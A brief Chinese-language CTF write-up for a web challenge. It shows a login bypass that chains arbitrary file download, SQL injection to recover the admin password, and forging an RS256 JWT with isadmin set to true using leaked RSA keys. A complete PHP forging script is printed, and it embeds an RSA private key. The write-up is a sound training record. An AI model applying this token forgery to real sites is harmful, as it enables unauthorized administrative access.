海量视频刷题笔记

开局一个登录框，输入没有任何回显

f12下面有一个传参downfile疑似任意文件现在，下载源码进行审计

跳转成功的条件如下

$decoded->name === "admin" && $decoded->pwd === mysqli_fetch_all($sqlres)[0][1] && $decoded->isadmin === true

跟进$decode变量

    $fff = fopen("./keysadmine2unao2ne2/rsa_private_key.pem",'rb');
    $rsa_private_key = fread($fff,filesize("./keysadmine2unao2ne2/rsa_private_key.pem"));

    $fff2 = fopen("./keysadmine2unao2ne2/rsa_public_key.pem","rb");
    $rsa_public_key = fread($fff2,filesize("./keysadmine2unao2ne2/rsa_public_key.pem"));
    $username = @$_POST['username'];
    $password = @$_POST['pwd'];

    $payload = array(
        "name" => $username,
        "pwd" => $password,
        "isadmin" => false,
    );

    $jwt = JWT::encode($payload,$rsa_private_key,"RS256");
    setcookie("secretcookie",$jwt);
    $decoded = JWT::decode($jwt, $rsa_public_key, array('RS256'));

这里泄露了加密的公钥私钥，可以自行伪造覆盖使isadmin为1，而password可以通过sql注入的方式获取

首先进行sql注入

password为jw2fdkci2F2md2FFA4

通过任意文件下载到两个密钥文件拿到密钥

伪造jwt的过程顺带学了一下composer的简单使用

这里是利用firebase/php-jwt中的函数进行encode，就把他拉下来放在本地

构造文件开始伪造

<?php

require_once 'vendor/autoload.php';
   use Firebase\JWT\JWT;

$privateKey = <<<EOD
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCrC+gEPuf8kPP5QXqT74Fp+w/uSk57DeSrc8PnxJ3IjbrklWB9
shUnoNnAs2I8SveYgrMVXcjodqhTjh9xDRTwSdqmi+HUqDyrzkoHRkhs+o5wvIm7
WbkQCp6EqYX5FmJqBlEAUVlNMgBEA+rLB7S4qoWzMlkyJhdQctao972JkQIDAQAB
AoGAalFcRkdTq4nuHGC28H1O07FalaNaZOKd4HR0sPtll+OA59Rxxa+LtrYko8Lc
rN1sST/0ULOazePzfPw6Turyt+TRgtezmOzhbqk+QUQ1fqW9mvcPIoVogEEEALla
5tjnDKsUUBpihsLsDGQYkAZLk/uFGcfBKfPPtHdFl8YrwAECQQDaQQWNpuN3N4Yo
y+nid8WYMdbfRP/S9QdeY1j95kagxz5FXYznpKTdxsX5ulSD+QV7E+6o7T79XEnM
2A3KjHShAkEAyKDSAOeVFbS8M/2/Qn2U6bm0rozEPudkUIC9e/2cA0tMnsICtGXR
uKgAQEEHHMw54KghxCyxeAD06GUSjkz+8QJARGSl0drfYweCQhyMYUx5HhVYKUUd
CcWBFqH5TC8yKMXnDKOhOSHODDVy6qvqOiT6A7SeUE9wMsMN2WRHBhb3oQJAEUQF
zp4fbmbHa5ICy64TCqo4qmzi1qcDMwphRDJnIsFwLplzsiKxEbsjimQOQKQyturB
PSi7fSBX80f/eM+XgQJAP7HhrNgm0NAiMJHVR3QF/2sYOF92xzj/bp3sq1y4mmBE
6Zr6qFiWpYasR8DnBnd19rM0FEDfppYyK9f8Q+OzRg==
-----END RSA PRIVATE KEY-----
EOD;

$publicKey = <<<EOD
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrC+gEPuf8kPP5QXqT74Fp+w/u
Sk57DeSrc8PnxJ3IjbrklWB9shUnoNnAs2I8SveYgrMVXcjodqhTjh9xDRTwSdqm
i+HUqDyrzkoHRkhs+o5wvIm7WbkQCp6EqYX5FmJqBlEAUVlNMgBEA+rLB7S4qoWz
MlkyJhdQctao972JkQIDAQAB
-----END PUBLIC KEY-----
EOD;
    

    $username = 'admin';
    $password = 'jw2fdkci2F2md2FFA4';

    $payload = array(
        "name" => $username,
        "pwd" => $password,
        "isadmin" => true,
    );

    $jwt = JWT::encode($payload,$privateKey,"RS256");
    setcookie("secretcookie",$jwt);
    $decoded = JWT::decode($jwt, $publicKey, array('RS256'));
    echo($jwt);
    echo("</br>");
    print_r($decoded);
?>